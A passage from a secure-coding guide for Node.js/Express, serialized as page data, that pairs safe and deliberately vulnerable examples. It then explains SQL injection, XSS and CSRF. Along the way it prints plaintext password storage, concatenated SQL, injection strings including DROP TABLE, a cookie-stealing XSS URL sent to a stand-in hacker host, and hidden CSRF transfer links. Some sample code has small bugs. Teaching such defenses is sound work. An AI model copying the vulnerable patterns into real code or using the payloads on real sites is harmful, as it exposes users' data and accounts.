\u002F\u002F Save user information without password encryption into the database\n users.push({ username, password}); \n \n return res.status(201).json({ message: 'Sign Up Success.' }); \n}); \n\n\u002F\u002F Login \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n\n \u002F\u002F Find users in the database\n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'User entered incorrect username information.' }); \n } \n\n \u002F\u002F Compare passwords\n if (password !== user.password) { \n  return res.status(401).json({ error: 'User entered incorrect password information' }); \n } \n\n return res.status(200).json({ message: 'Logged in successfully.' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9844,9842],{"__ignoreMap":66},[11,9846,9828],{},[11,9848,9849],{},"When a user registers, the password is not encrypted before being saved to the database and violates the security of the application.",[11,9851,9852],{},"When a user logs in and enters an incorrect username or password information, the security problem is a specific error such as: “User entered incorrect username information.” or “User entered incorrect password information”.",[565,9854,9856],{"id":9855},"session-management","Session Management",[11,9858,9859],{},"Generation of sessions using identifiers must ensure randomness and avoid session sniffing or guessing attacks.",[11,9861,9862],{},"When logging out, the session should be terminated immediately.",[11,9864,9865],{},"The logout function must be available on all authenticated sites so that users can log out whenever they have successfully authenticated.",[11,9867,9868],{},"Do not allow the session to exist simultaneously with the same user to ensure the restriction of unauthorized access.",[11,9870,9871],{},"When re-authenticating still need to make sure to create a session with a new identifier to ensure it does not match the old session.",[11,9873,9874],{},"Should set the lifetime for a session.",[11,9876,9707],{},[11,9878,9879],{},[20,9880,9712],{},[605,9882,9885],{"className":9883,"code":9884,"language":610},[608],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Use session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: true, \n saveUninitialized: true,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Check if user is logged in\nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'You need to log in to continue.' }); \n} \n \n\u002F\u002F Login\napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Incorrect username or password.' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'Logged in successfully.' }); \n}); \n  \n\u002F\u002F Show user information after login\napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Personal information: ${username}`}); \n}); \n \n\u002F\u002F Logout\napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n req.session.destroy(); \n return res.status(200).json({ message: 'Sign out successful.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9886,9884],{"__ignoreMap":66},[11,9888,9889],{},"In the above example, when the user logs in successfully, we save the username information into the session and set the lifetime to 1 day. The \u002Fprofile and \u002Flogout routes require a logged-in user for access, and we check session information to verify the login status. When the user logs out, we will end this session and will recreate a new session when the user logs back in.",[11,9891,9892],{},[20,9893,9726],{},[605,9895,9898],{"className":9896,"code":9897,"language":610},[608],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Use session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: false, \n saveUninitialized: false,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Check if user is logged in\nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'You need to log in to continue.' }); \n} \n \n\u002F\u002F Login\napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Incorrect username or password.' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'Logged in successfully.' }); \n}); \n  \n\u002F\u002F Show user information after login\napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Personal information: ${username}`}); \n}); \n \n\u002F\u002F Logout\napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n return res.status(200).json({ message: 'Sign out successful.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9899,9897],{"__ignoreMap":66},[11,9901,9902],{},"In the above example, when the user logs in successfully, we save the username information into the session and do not set the session end time. When the user logs out, the session is not destroyed and this session always exists.",[565,9904,9906],{"id":9905},"access-control","Access Control",[11,9908,9909],{},"Perform access testing with all sent requests including requests sent by HTTP request, Ajax to ensure that the authorization is always done correctly with the corresponding authorized account. Avoid access to unauthorized resources.",[11,9911,9912],{},"Need to implement centralized decentralization, easy to manage and not affected by the logic of the code that performs the function of the web.",[11,9914,9915],{},"It is necessary to limit access to important resources to authorized users.",[11,9917,9918],{},"The application should have clear documentation of the access policy.",[11,9920,9921],{},"When there is a change in permissions or a change in the business logic related to access rights, disable the account and terminate the session. Only when the user logs back in will the account continue to use.",[11,9923,9924],{},"Implement a mechanism to temporarily lock accounts after a period of inactivity.",[11,9926,9927],{},"If user data needs to be stored on the client side, it needs to be encrypted and checked for integrity on the server.",[11,9929,9930],{},"Properly implement the principle of delegating power to the right people, with the right rights. Only authorized users have access to certain resources on the system.",[11,9932,9707],{},[11,9934,9935],{},[20,9936,9712],{},[605,9938,9941],{"className":9939,"code":9940,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \n\u002F\u002F Middleware checks the user's role\nfunction checkRole(role) { \n  return (req, res, next) => { \n    const user = users.find(user => user.username === req.session.username); \n     \n    if (user && user.role === role) { \n      return next(); \n    } \n    return res.status(403).json({ error: 'You do not have access.' }); \n  }; \n} \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n  const username = req.session.username; \n  return res.status(200).json({message: `Personal information: ${username}`});\n}); \n \napp.get('\u002Fadmin', checkRole('admin'), (req, res) => { \n  return res.status(200).json({ message: 'Admin page.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9942,9940],{"__ignoreMap":66},[11,9944,9945],{},"In the above example, we used a checkRole middleware to check the user's role. Route \u002Fprofile allows access to all users. The \u002Fadmin route requires the “admin” role and only allows users with the “admin” role to access the admin page. If they don't have permission they will receive a 403 (Forbidden) status code.",[11,9947,9948],{},[20,9949,9726],{},[605,9951,9954],{"className":9952,"code":9953,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Personal information: ${username}`});\n}); \n \napp.get('\u002Fadmin', (req, res) => { \n return res.status(200).json({ message: 'Admin page.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9955,9953],{"__ignoreMap":66},[11,9957,9958],{},"In the above example, the \u002Fprofile and  \u002Fadmin routes both allow access to all users and have no permissions. This will be very dangerous because the admin page will be accessed illegally by users with role=”user”.",[565,9960,9962],{"id":9961},"error-handling-and-logging","Error Handling and Logging",[11,9964,9965],{},"Need to report common errors and proceed to define error pages to return when the site encounters an error. Avoid using the framework's default error pages because these often contain a lot of information related to the application and version.",[11,9967,9968],{},"The log should record all important events as follows:",[203,9970,9971,9974,9977,9980,9983,9986],{},[34,9972,9973],{},"Log all input validation errors",[34,9975,9976],{},"Log all system exceptions",[34,9978,9979],{},"Record all access control errors",[34,9981,9982],{},"Record all authentication attempts, especially failed attempts",[34,9984,9985],{},"Log the entire event of multiple login attempts or session expiration",[34,9987,9988],{},"Log all administrative functions",[11,9990,9991],{},"Do not store sensitive information in the log, including unnecessary system details, software version information or user passwords.",[11,9993,9994],{},"Restrict log access to authorized users only.",[11,9996,9997],{},"Make sure the log contains important event data such as event time, severity for each event, tags for each event, account information that performed the event, source ip, dest ip, and event description, etc.",[11,9999,10000],{},"Error handling information should record both success and failure events to help trace when problems occur.",[11,10002,10003],{},"Do not reveal sensitive information in error responses from the website, including system details, application versions or account information.",[11,10005,9707],{},[11,10007,10008],{},[20,10009,9712],{},[605,10011,10014],{"className":10012,"code":10013,"language":610},[608],"const express = require('express'); \nconst winston = require('winston'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Set up logger \nconst logger = winston.createLogger({ \n  level: 'info', \n  format: winston.format.simple(), \n  transports: [ \n    new winston.transports.Console(), \n    new winston.transports.File({ filename: 'error.log', level: 'error' }) \n  ] \n}); \n \n\u002F\u002F Middleware for error handling\napp.use((err, req, res, next) => { \n  logger.error(err.stack); \n  res.status(500).json({ error: 'An error occurred.' }); \n}); \n \n\u002F\u002F Route has caused an error\napp.get('\u002Ferror', (req, res, next) => { \n  const error = new Error('message error'); \n  next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10015,10013],{"__ignoreMap":66},[11,10017,10018],{},"In the above example, we used the winston library to create the logger and set up the logger to log error information and store it in the \"error.log\" file. The route \u002Ferror is used to illustrate the occurrence of an error. In this route, we generate an arbitrary error and call the next() function to pass the error to the error handling middleware. Using a logger makes it easier for us to manage our application.",[11,10020,10021],{},[20,10022,9726],{},[605,10024,10027],{"className":10025,"code":10026,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Middleware for error handling\napp.use((err, req, res, next) => { \n  res.status(500).json({ error: 'An error occurred.' }); \n}); \n \n\u002F\u002F Route has caused an error \napp.get('\u002Ferror', (req, res, next) => { \n const error = new Error('message error'); \n next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10028,10026],{"__ignoreMap":66},[11,10030,10031],{},"In the above example, do not use the winston library to create loggers and to log errors when they occur. When the program has a certain error problem, it is very difficult to investigate and fix.",[565,10033,10035],{"id":10034},"data-protection","Data Protection",[11,10037,10038],{},"Turn off autocomplete username and password features in the browser.",[11,10040,10041],{},"Do not send sensitive information in HTTP GET request parameters such as username, password, token, session_id, etc.",[11,10043,10044],{},"Remove all unnecessary comments in the source code as comments may contain user or database access information or may reveal other sensitive system information.",[11,10046,10047],{},"Decentralize accounts according to the correct function to help limit unauthorized access or mistakenly cause data loss.",[11,10049,10050],{},"Protect the server-side source code from being downloaded by users by decentralizing the source code directory, not revealing the source code and the source code storage path.",[11,10052,10053],{},"Implement appropriate access controls for sensitive data stored on the server.",[11,10055,10056],{},"Disable client-side caching on pages that contain usable sensitive information: Cache-Control: no-store in the HTTP header.",[11,10058,9707],{},[11,10060,10061],{},[20,10062,9712],{},[605,10064,10067],{"className":10065,"code":10066,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Search user\napp.get('\u002Fuser?name=test&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10068,10066],{"__ignoreMap":66},[11,10070,10071],{},"In the above example, the \u002Fuser route will search for the user by name and email and return the corresponding results. This name and email information are not sensitive information so you can search normally.",[11,10073,10074],{},[20,10075,9726],{},[605,10077,10080],{"className":10078,"code":10079,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Search user\napp.get('\u002Fuser?password=test123&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10081,10079],{"__ignoreMap":66},[11,10083,10084],{},"In the above example, the \u002Fuser route will search for users by password and email and return the corresponding results. Because passwords are sensitive information, this case violates security.",[565,10086,10088],{"id":10087},"communication-security","Communication Security",[11,10090,10091],{},"Make sure the HTTP referer does not contain sensitive information such as session_id, token, etc. Make sure these parameters are filtered from the HTTP referer before accessing another website.",[11,10093,10094],{},"When external systems make connections and access information to our systems, we need to ensure that there is a TLS connection.",[11,10096,10097],{},"Implement encryption to transmit all sensitive information using TLS for transmission encryption to help protect the connection",[11,10099,10100],{},"It is necessary for the website to always use a TLS connection for all content that requires authenticated access and for all access operations.",[11,10102,10103],{},"The UTF-8 encoded character set can be used for encoding connections.",[11,10105,9707],{},[11,10107,10108],{},[20,10109,9712],{},[605,10111,10114],{"className":10112,"code":10113,"language":610},[608],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n  \napp.get('\u002Fsecure', (req, res) => {\n  console.log('Data is transmitted securely.');\n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Create server HTTPS\nhttps.createServer({\n key: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \n cert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[612,10115,10113],{"__ignoreMap":66},[11,10117,10118,10119,10123],{},"In the above example, we used the https module to create a server using the HTTPS protocol. When a user accesses the \u002Fsecure route, data is securely transmitted over HTTPS and redirected to a ",[55,10120,10121],{"href":10121,"rel":10122},"https:\u002F\u002Fexample.com",[59]," domain, ensuring that information cannot be stolen or modified during the transmission and that HTTP referers do not contain sensitive information.",[11,10125,10126],{},[20,10127,9726],{},[605,10129,10132],{"className":10130,"code":10131,"language":610},[608],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n \napp.get('\u002Fsecure?session_id=xxx', (req, res) => { \n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Create server HTTPS\nhttps.createServer({\nkey: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \ncert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[612,10133,10131],{"__ignoreMap":66},[11,10135,10136,10137,10140,10141,878],{},"In the above example, when a user accesses the \u002Fsecure route, it will redirect to a domain ",[55,10138,10121],{"href":10121,"rel":10139},[59],". This time the HTTP referer contains sensitive information called session_id and can be accessed from the domain ",[55,10142,10121],{"href":10121,"rel":10143},[59],[565,10145,10147],{"id":10146},"system-configuration","System Configuration",[11,10149,10150],{},"It is necessary to have a source code management system, version history, change history, and change log of all components in the system to manage easily and limit security risks.",[11,10152,10153],{},"The dev, test, and production environments need to be set up to isolate and not share resources and databases. Helps to control data well as well as avoid the risk of attacking the test system and then attacking the production system.",[11,10155,10156],{},"Removing unnecessary information from the HTTP response related to the operating system, web server version, debug information or source code helps prevent attackers from collecting and serves as the basis for deeper attacks on the website.",[11,10158,10159],{},"Remove test or debug code from the source code or any non-production functionality before deploying.",[11,10161,10162],{},"It is necessary to turn off the Directory listing function on the webserver to help limit the disclosure of sensitive files, files containing important information.",[11,10164,10165],{},"Make sure the server, OS, framework, and system components are using a secure version with no vulnerabilities, preferably the latest version.",[11,10167,10168],{},"Ensure the server, OS, framework, and system components are always updated with security patches from the developer to prevent hackers from exploiting publicly available security exploits.",[11,10170,9707],{},[11,10172,10173],{},[20,10174,9712],{},[605,10176,10179],{"className":10177,"code":10178,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Read environment variables for database configuration\nconst dbConfig = { \n  host: process.env.DB_HOST, \n  username: process.env.DB_USERNAME, \n  password: process.env.DB_PASSWORD, \n  database: process.env.DB_DATABASE' \n}; \n \n\u002F\u002F Make a database connection\nfunction connectToDatabase(config) { \n  \u002F\u002F Write the code to connect to the database here\n} \n \nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10180,10178],{"__ignoreMap":66},[11,10182,10183],{},"In the above example, we used environment variables to store database configuration information such as DB_HOST, DB_USERNAME, DB_PASSWORD, and DB_DATABASE. By using environment variables, we can easily adjust the system's configuration without modifying the source code and help reduce the risk of revealing important information such as passwords in the source code, creating favorable conditions for more secure deployment and configuration management.",[11,10185,10186],{},[20,10187,9726],{},[605,10189,10192],{"className":10190,"code":10191,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\nconst dbConfig = { \n host: 'host', \n username: 'username', \n password: 'password', \n database: 'database' \n}; \n\n\u002F\u002F Make a database connection\nfunction connectToDatabase(config) { \n \u002F\u002F Write the code to connect to the database here\n} \n\nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10193,10191],{"__ignoreMap":66},[11,10195,10196],{},"In the above example, we do not use environment variables to store database configuration information but write the value directly in the code. If written this way, when adjusting the system configuration, the source code will be modified and there is a risk of revealing important information such as passwords in the source code, making it difficult to manage configuration and deploy safely.",[565,10198,10200],{"id":10199},"database-security","Database Security",[11,10202,10203],{},"Each account connected to the database needs to be clearly and separately authorized according to its functions, tasks, and permissions.",[11,10205,10206],{},"Default accounts, unused accounts for system requirements need to be removed from the system.",[11,10208,10209],{},"Close the database if it is no longer accessible.",[11,10211,10212],{},"Database connection strings need to be stored in separate config files and should be securely encrypted using strong encryption algorithms.",[11,10214,10215],{},"The account\u002Fpassword to access the database should be strong enough, not using default or easily guessed credentials.",[11,10217,10218],{},"The database needs to run with the user with the lowest privileges, is clearly decentralized, and can only access certain databases to help prevent attacks and data exploitation of other databases.",[11,10220,10221],{},"Need to validate the input data before executing the query.",[11,10223,10224],{},"Using parameters for SQL query statements keeps the query and data separate. Instead of string concatenation in the SQL query, parameters are passed through variables. This helps prevent SQL Injection errors when users pass in malicious data.",[11,10226,9707],{},[11,10228,10229],{},[20,10230,9712],{},[605,10232,10235],{"className":10233,"code":10234,"language":610},[608],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Connect to the database\nconst db = mysql.createConnection({ \n  host: 'localhost', \n  user: 'username', \n  password: 'password', \n  database: 'mydb' \n}); \n \ndb.connect(err => {\n  if (err) {\n    console.error('Database connection error:', err); return; \n  } \n  console.log('Connected to the database.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Create a new book \napp.post('\u002Fbook', (req, res) => { \n  const { title, author } = req.body; \n  const query = 'INSERT INTO books (title, author) VALUES (?, ?)'; \n  db.query(query, [title, author], (err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'An error occurred.' }); \n    } \n    return res.status(201).json({ message: 'Created successfully.' }); \n  }); \n}); \n \n\u002F\u002F Get the list\napp.get('\u002Fbook', (req, res) => { \n  const query = 'SELECT * FROM books where title = ?'; \n  db.query(query, [title],(err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'An error occurred.' }); \n    } \n    return res.status(200).json(result); \n  }); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10236,10234],{"__ignoreMap":66},[11,10238,10239],{},"In the above example, we use the mysql library to connect and manipulate the MySQL database. To ensure security in SQL queries, we use parameters for SQL query statements. This helps prevent SQL injection attacks by preventing users from passing malicious data into SQL queries.",[11,10241,10242],{},[20,10243,9726],{},[605,10245,10248],{"className":10246,"code":10247,"language":610},[608],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Connect to the database \nconst db = mysql.createConnection({ \n host: 'localhost', \n user: 'username', \n password: 'password', \n database: 'mydb' \n}); \n \ndb.connect(err => {\n if (err) {\n   console.error('Database connection error:', err); return; \n } \n console.log('Connected to the database.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Create a new book \napp.post('\u002Fbook', (req, res) => { \n const { title, author } = req.body; \n const query = 'INSERT INTO books (title, author) VALUES (title, author)'; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'An error occurred.' }); \n   } \n   return res.status(201).json({ message: 'Created successfully.' }); \n }); \n}); \n \n\u002F\u002F Get the list\napp.get('\u002Fbook', (req, res) => { \n const query = 'SELECT * FROM books where title =' + title; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'An error occurred.' }); \n   } \n   return res.status(200).json(result); \n }); \n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10249,10247],{"__ignoreMap":66},[11,10251,10252],{},"In the above example, instead of using the parameter passed to the SQL query, we are concatenating the string in the SQL query. This will suffer from SQL injection attacks.",[565,10254,10256],{"id":10255},"file-management","File Management",[11,10258,10259],{},"It is recommended to make file directory permissions: read-only to avoid unauthorized modifications from attackers",[11,10261,10262],{},"Do not return the absolute path (Example: \u002Fvar\u002Fwww\u002Fhtml\u002Fuploads\u002Ftest.jpg) because the attacker can know the absolute path of the website from which to attack other vulnerabilities. Returns only the file name or directory path containing the file (\u002Fuploads\u002Ftest.jpg)",[11,10264,10265],{},"Do not store files with the server running the web service. Do file storage on a separate server or use a 3rd party file storage service like Amazon S3.",[11,10267,10268],{},"Limit the types of files (header files) that are allowed to be uploaded to the server. For the upload function, it is necessary to whitelist the uploaded file headers that match the functional requirements (For example the avatar upload function only allows Content-types: image\u002Fjpeg and image\u002Fpng).",[11,10270,10271],{},"Authentication is required before the user can perform the upload. User authentication helps to limit the unauthorized upload of malicious files as well as serves the process of tracking users when an attack occurs.",[11,10273,10274],{},"Limit the file types (extension files) allowed to upload to the server. For the upload function, it is necessary to whitelist the uploaded files that match the functional requirements (For example the avatar upload function only allows: png and jpg).",[11,10276,10277],{},"Use a virus scanner to check user-uploaded files. This helps to remove malicious files and viruses that users upload.",[11,10279,9707],{},[11,10281,10282],{},[20,10283,9712],{},[605,10285,10288],{"className":10286,"code":10287,"language":610},[608],"const express = require('express'); \nconst fs = require('fs'); \nconst path = require('path'); \nconst app = express(); \nconst port = 3000; \n \napp.use(express.json()); \napp.use(express.static('public')); \n \n\u002F\u002F Download file \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  if (!\u002F^[a-zA-Z0-9._-]+$\u002F.test(requestedFile )) { \n    return res.status(400).send('filename is not valid'); \n  }\n  \n  const filePath = path.join(__dirname, 'uploads', requestedFile);\n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'File does not exist.' }); \n  } \n \n  const fileStream = fs.createReadStream(filePath); \n  res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`); \n  fileStream.pipe(res); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10289,10287],{"__ignoreMap":66},[11,10291,10292],{},"In the above example, when downloading the file, we use the res.setHeader() method to set the \"Content-Disposition\" header in the HTTP response. This specifies that the file will be downloaded as an attachment with the specified filename. When using such an attachment, the user will receive the file without knowing its absolute path on the server. This helps protect information about system architecture and prevents attacks based on knowing the absolute file path.",[11,10294,10295],{},[20,10296,9726],{},[605,10298,10301],{"className":10299,"code":10300,"language":610},[608],"const express = require('express'); \nconst fs = require('fs');\nconst path = require('path'); \nconst app = express(); \nconst port = 3000;\n \napp.use(express.static('public'));\n \n\u002F\u002F Download file \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'File does not exist.' }); \n  } \n \n  res.download(filePath, requestedFile, err => { \n    if (err) { \n      console.error('Error downloading file:', err); \n      return res.status(500).json({ error: 'An error occurred.' }); \n    } \n  });\n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,10302,10300],{"__ignoreMap":66},[11,10304,10305],{},"In the above example will return the absolute path of the file.",[403,10307,10309],{"id":10308},"common-attack-errors-and-prevention-methods","Common attack errors and prevention methods",[565,10311,10313],{"id":10312},"sql-injection","SQL Injection",[11,10315,10316],{},"SQL Injection is a technique that takes advantage of the query vulnerabilities of applications. It is executed by injecting a SQL snippet to falsify the original query, thereby exploiting data from the database, creating errors, or damaging the system's data.",[11,10318,10319],{},"For example, we have a function like this:",[605,10321,10324],{"className":10322,"code":10323,"language":610},[608],"const getUserByUserName = (userName: string) => {\n\n const query = 'SELECT * FROM Users WHERE userName = ’ + userName;\n\n return query.excute();\n\n}\n",[612,10325,10323],{"__ignoreMap":66},[11,10327,10328],{},"When the user transmission userName = 'abc' or '1'='1', the SQL statement will look like this:",[605,10330,10333],{"className":10331,"code":10332,"language":610},[608],"SELECT * FROM Users WHERE userName = 'abc' or '1'='1';\n",[612,10334,10332],{"__ignoreMap":66},[11,10336,10337],{},"With this SQL statement is always true and returns all information in the Users table.",[11,10339,10340],{},"In another case, the user transmission userName = 'abc'; DROP TABLE Users; the SQL statement would look like this:",[605,10342,10345],{"className":10343,"code":10344,"language":610},[608],"SELECT* FROM Users WHERE userName = 'abc';\nDROP TABLE Users;\n",[612,10346,10344],{"__ignoreMap":66},[11,10348,10349],{},"With this command, the Users table will be deleted, and very dangerous.",[11,10351,10352],{},[20,10353,10354],{},"Prevention",[203,10356,10357,10360,10363],{},[34,10358,10359],{},"Check user input: Regular Expression can be used to remove strange characters or characters other than numbers and letters.",[34,10361,10362],{},"Do not concatenate strings to generate SQL: Use parameters instead of string concatenation. If the input data is not legal, SQL Engine will automatically report an error, we do not need to use code to check.",[34,10364,10365],{},"Limit writing pure SQL, should use the ORM (Object-Relational Mapping) framework library, this framework will generate SQL statements by itself, so it will be safer.",[565,10367,10369],{"id":10368},"cross-site-scripting-xss","Cross-Site Scripting (XSS)",[11,10371,10372],{},"Cross-Site Scripting (XSS) is a common form of malicious code attack. Hackers will take advantage of vulnerabilities in web security to insert scripts to execute them on the client side. Typically, XSS attacks are used to bypass access and impersonate users. The main purpose of this attack is to steal user's identifying data such as cookies, session tokens, and other information.",[11,10374,10375],{},"There are 3 main types of XSS attacks as follows:",[203,10377,10378,10406,10414],{},[34,10379,10380,10381],{},"Reflected XSS\n",[31,10382,10383,10386],{},[34,10384,10385],{},"Is an attack that uses malicious script code from an HTTP request. As a result, hackers steal users' data and take over their access and activities on the website by sharing URLs containing malicious code.",[34,10387,10388,10389],{},"For example\n",[31,10390,10391,10400,10403],{},[34,10392,10393,10394],{},"When accessing the website, the user does not know or accidentally clicks on an image or ad with the following malicious link:",[605,10395,10398],{"className":10396,"code":10397,"language":610},[608],"http:\u002F\u002Fuser.com\u002Fname=var+i=new+Image;+i.src=”http:\u002F\u002Fabc-hacker.com\u002F”%2Bdocument.cookie;\n",[612,10399,10397],{"__ignoreMap":66},[34,10401,10402],{},"At this point, the hacker just needs to check the request sent to his server to receive the user's cookie and use it to hijack the user's login session.",[34,10404,10405],{},"The feature of this type of XSS is that the hacker must send a malicious link to the user and trick the user into accessing this link. The malicious code will be executed as soon as the user accesses the link.",[34,10407,10408,10409],{},"Stored XSS\n",[31,10410,10411],{},[34,10412,10413],{},"A form of attack where hackers insert malicious code into the database through input data such as input, textarea, form, etc., without being carefully checked. When users access and perform operations related to saved data, malicious code will immediately work on the browser.",[34,10415,10416,10417],{},"DOM-based XSS\n",[31,10418,10419],{},[34,10420,10421],{},"Where the vulnerability exists in the client-side code, not the server-side code. This form is used to exploit XSS based on changing the HTML of the document, in other words changing the DOM structure.",[11,10423,10424],{},[20,10425,10354],{},[203,10427,10428,10431,10434],{},[34,10429,10430],{},"Data validation (define input): Make sure the input data provided by the user is correct.",[34,10432,10433],{},"Filtering (filtering user input): This method helps to find dangerous keywords in the user input to promptly replace or remove them.",[34,10435,10436],{},"Escape: This is a relatively effective XSS prevention by changing the characters with special code that can use the appropriate Escape library.",[565,10438,10440],{"id":10439},"cross-site-request-forgery-csrf",[20,10441,10442],{},"Cross-Site Request Forgery (CSRF)",[11,10444,10445],{},"Cross-Site Request Forgery (CSRF) is an attack that forces users to perform unexpected actions on a web application for which they are currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker can trick web application users into performing actions chosen by the attacker.",[11,10447,10448],{},"For example, user1 has logged into the bank and wants to transfer money to user2 which is 1000$, user3 is the attacker who wants user1 to transfer money to him, it will be as follows:",[11,10450,10451],{},"If the application is designed to use a GET request to pass parameters and perform transfer actions, a request like:",[605,10453,10456],{"className":10454,"code":10455,"language":610},[608]," http:\u002F\u002Fbank.com\u002Ftransfer?account=user2&amount=1000\n",[612,10457,10455],{"__ignoreMap":66},[11,10459,10460],{},"Now user3 decides to exploit this web application vulnerability by using user1 as the victim. First, user3 constructs the following mining URL that will transfer $200,000 from user1's account to his own. user3 takes the original command URL and replaces the payee name with his own, and significantly increases the amount of the transfer as follows:",[605,10462,10465],{"className":10463,"code":10464,"language":610},[608],"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\n",[612,10466,10464],{"__ignoreMap":66},[11,10468,10469],{},"User3 then sends an unsolicited email with HTML content or places a URL on pages that the victim can access while they are also doing online banking. The exploit URL can be disguised as a regular link, encouraging the victim to click on it:",[605,10471,10474],{"className":10472,"code":10473,"language":610},[608],"\u003Ca href=\"http:\u002F\u002Fbank.com\u002Ftransfer.do?acct=user3&amount=200000\">Click to see the photo\u003C\u002Fa>\nOr like the picture:\n\u003Cimg src=\"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\" width=\"0\" height=\"0\" border=\"0\">\n",[612,10475,10473],{"__ignoreMap":66},[11,10477,10478],{},"If this image tag is included in the email, the user1 will not see anything. However, the browser will still send a request to bank.com without any visual indication that the transfer has taken place.",[11,10480,10481],{},[20,10482,10483],{},"Another 